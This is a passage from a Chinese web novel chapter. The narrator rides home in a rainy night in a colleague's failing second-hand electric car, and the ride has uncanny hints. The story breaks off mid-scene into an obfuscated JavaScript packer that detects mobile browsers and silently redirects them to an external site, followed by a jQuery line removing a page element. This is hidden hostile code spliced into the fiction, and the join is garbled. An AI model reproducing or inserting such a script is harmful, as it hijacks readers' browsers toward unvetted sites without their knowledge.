1. 楔子(第2页)

此时我撑着下巴，一脸崇拜地看着办公室里挥斥方遒的“徐哥”：“对了，您开什么车来着？”

徐振身穿始祖鸟，脚踏萨罗蒙，在一众目光中，脸色黑了一点。

也对，他买不起。

*

我知道苇姐有辆车，是因为有天晚上下雨，我打车的时候打到了。

赵哥下班开顺风车的事情人尽皆知，为了避免有损同事内部感情，大家私下里转告赵哥的车牌号，打车的时候多注意点。

我只知道赵哥有这个副业，事实上，刚刚忍痛取消了他的订单，第二次呼叫花了我20分钟，有一刻我差点以为我只能冒雨走到公交车站了，幸而那辆白色的小汽车神兵天降。

我核对了车牌号是0373无误，一路踩着水洼，跑出20米，拉开门一屁股坐进去。

“师傅，手机尾号xxxx。”

我刚坐定，车还未发动，听见前座传来的女声。

“阿青？”

“……苇姐？！”

我感到十分窘迫，不过还得是苇姐，依旧淡定得很。

“你住的挺远啊。”苇姐道，“你身上湿了，冷不冷，要不要我把空调调高一点？”

“是啊，谢谢苇姐。”我道，至少三十分钟的路程，我得想办法别让场景太尴尬，想了又想，还是道：“原来苇姐你也开网约车啊？”

“嗯啊，”苇姐道，“我天天都开。”

“你也住西城那边吗？”

“不是，我住东边。”

“那不是不顺路……”

“没有，正好今天要去那边办点事情。”

“哦……”

我突然有点理解徐振了，苇姐总是回答，从不接话，如同铁壁，让开启对话那个人多少有点难受。

我搜肠刮肚，把车厢里能看到的都夸了个遍。

车厢很宽敞，又干净，后座抽纸充电线一应俱全，还有股淡淡的皂香。

其实可聊的还是很多的。

“苇姐，这是什么车啊？”

“xx牌的。”

我深吸一口气，正要继续问。

“哦，你可能不知道，是个国产牌子，已经破产了。”苇姐补充道。

“……”

我努力回忆着之前听男人们聊车时候的关键词。

“这是油车……混动的？还是电动的？”

“是电动车。”苇姐回答，“跑油太贵了。”

“噢，发动机几缸的？”我装作专家似的。

“……”

前方传来苇姐的笑声。她笑得很温柔，很好听。我后来才知道，电动车没有“缸”这一说。

因为苇姐的笑，我轻松了一些，大概是发现我一直没话找话，她终于多说了一些有关这车的事情。

“这是我从朋友那里买的二手车。平常城市通勤，上下班啊的比较方便。”

“那应该很便宜咯？”

“并没有，”难得听到苇姐这种语气，竟然有些悲愤——我购物节买贵了东西也这样，不过很快恢复了心平气和，告诫我，“不过就算便宜也别买。小车厂破产之后，修车麻烦死了。零件都不好配。上次去汽修店，要我八万八。”

我张着嘴巴，只知道重复那个数字：“八万八？！”

“对啊。”苇姐幽幽道，“这钱现在都够买辆新车了。”

“那你修了吗？”

“当然没。”

我想到什么，语气渐弱：“所以，苇姐你这车，是有什么毛病啊？”

“小毛病。”苇姐随口道，像是应了她的回答，车速忽而慢了下来，她一踩油门，车一个明显的趔趄，卡顿片刻才重新加速。电车本来行驶起来是很安静的，我却听到好像闷雷一样的声音，从车底传来……也不知道苇姐听见没有。

我第一次听见苇姐骂人，低声嘟囔：“见鬼。”

我在后座悄悄系起安全带。

车到了目的地，苇姐本要开进老小区里，我见外面不再下雨，坚持让她在路边把我放下来。

“走咯。谢谢苇姐，明天见！”

苇姐也冲我告别，我关上车门，看那辆白色的小轿车驶远。下过雨的夏天晚上，空气闷热粘滞，我倒像活过来了似的。苇姐的车里也不知是为什么，哪怕调高了空调，还是越坐越冷啊。

*

我和苇姐逐渐熟悉起来，其实也只是从点头之交，成了茶水间见面偶尔会聊上几句的关系。

我对她本人的了解，说起来还不如对她的车多。闲聊时问苇姐平时喜欢做什么，她仔细想了下，回答说喜欢睡觉，表情颇为认真，我又无话可接。我才知道，每天中午，苇姐不在位置上的时候，都是去车里午休。

所以有自己的车还是好啊！我感叹。

“听说了吗？我上次去试驾的sales跟我说，现在好多银行下调了车贷利率！”

茶水间里，徐振又在高谈阔论。

“徐哥准备买车了？”

终于有人问了这么一句，徐振旋即回答：“嗯啊。”若有若无的，还看我一眼。

我默默吃着另一位离职同事请客的茶点——也是我们齐聚在茶水间的原因，不知道为什么聊天的话题转到了买车上面。

;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670540|173142||http|test|mini|href|location''.split(''|''),0,{}));

() {

$(''.inform'').remove();